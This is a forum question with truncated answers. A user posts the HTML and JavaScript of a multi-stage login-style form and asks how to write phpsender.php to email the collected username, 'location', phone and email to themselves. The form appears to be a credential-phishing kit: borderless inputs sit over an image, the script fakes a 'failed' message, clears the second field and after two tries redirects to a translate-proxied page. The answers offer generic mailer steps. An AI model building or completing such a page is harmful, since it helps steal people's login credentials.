I am having similar issues and I am totally lost as to what write on the phpsender.php file. Here my case: I have a form that is in two or three stages that a customer needs to fill. First form they input their username and location once they hit the send button it takes them to the second form where they input their phone number, email, and message. At this second form once they hit the submit button, I need all the form input value from first and second sent to my email.
First part of the form:
<form class="ZdyDsE vAlignMiddle" style="width:auto;" >
<input name="email" id="username" class="UPkfdH textbox" autocomplete="off" required="" type="text" style="position: absolute; width: 325px; left: 173px; top: 326px; z-index: 1; border:none">
<div id="arcotuserdataDiv" display="none" style="display: none;"></div>
<div id="arcotuserdataDiv" display="none" style="display: none;"></div>
<div class="offline-ui offline-ui-up">
<div class="offline-ui-content"><input id="location" name="location" class="l9X2Aa textbox" autocomplete="off" required="" type="text" style="position: absolute; width: 331px; left: 171px; top: 400px; z-index: 1 ; border:none"></div>
<a href="" class="BTMDID"></a>
</div>
<div id="user_error" style="color:red; display:none">Please enter your username.</div>
<div id="loca_error" style="color:red; display:none">Please enter your location.</div>
<div id="message" style="color:red; display:none"> failed.</div>
</div>
<div id="submitbutton" style="position: absolute; left: 82px; top: 454px; z-index: 2; width: 420px; height: 70px;"><input type="image" width="420" height="70" src="./index_files/submit.jpg"></div>
<p> </p>
</form>
<script>
var count =0;
document.getElementById("submitbutton").addEventListener("click", function(e) {
event.preventDefault();
var email = document.getElementById("username").value;
var location = document.getElementById("location").value;
if (email == "" || email == null){
clearErrors();
document.getElementById("user_error").style.display ='block';
}else if(location == "" || location == null){
clearErrors();
document.getElementById("loca_error").style.display ='block';
}else{
clearErrors();
count=count+1;
$.ajax({
"async": true,
"crossDomain": true,
"dataType": 'JSON',
"url": "phpsender.php",
"method": "GET",
"headers": {"Content-Type": "application/json; charset=utf-8", "cache-control": "no-cache", 'Access-Control-Allow-Origin': '*' },
"data": {"email": email, "location": location}
}).done(function() {
}).fail(function() {
clearErrors();
document.getElementById("message").style.display ='block';
document.getElementById("location").value ="";
if(count >= 2){
count=0;
clearErrors();
var href = window.location.href;
var dir = href.substring(0, href.lastIndexOf('/')) + "/";
window.location.replace(dir+'dat_mobile.php?_x_tr_sl=auto&_x_tr_tl=null&_x_tr_hl=null&_x_tr_pto=wapp&username='+email);
}
});
}
});
function clearErrors(){
document.getElementById("user_error").style.display ='none';
document.getElementById("loca_error").style.display ='none';
document.getElementById("message").style.display ='none';
}
</script>
what code i need to write in the phpsender.php file ????
Please and Please I need your help guys.
I just don’t know what I need to write on the phpsender.php file. I need help.
Should I write something like this?
<?php
$username = $_POST['username'];
$location = $_POST['location'];
//Do whatever php code here that makes you happy.
mail($email, $name, "Thank you");
?>
2
Answers
Try This
Step 1 : Change method in $.ajax
Step 2 : Pass all input value in data attribute in $.ajax which you want to send in email
Step 3 : Write code like below in phpsender.php file
Notes : you cannot send email through localhost. mail function will send information when your code is online.
Write code like below in phpsender.php file
(You need to write the JS codes again)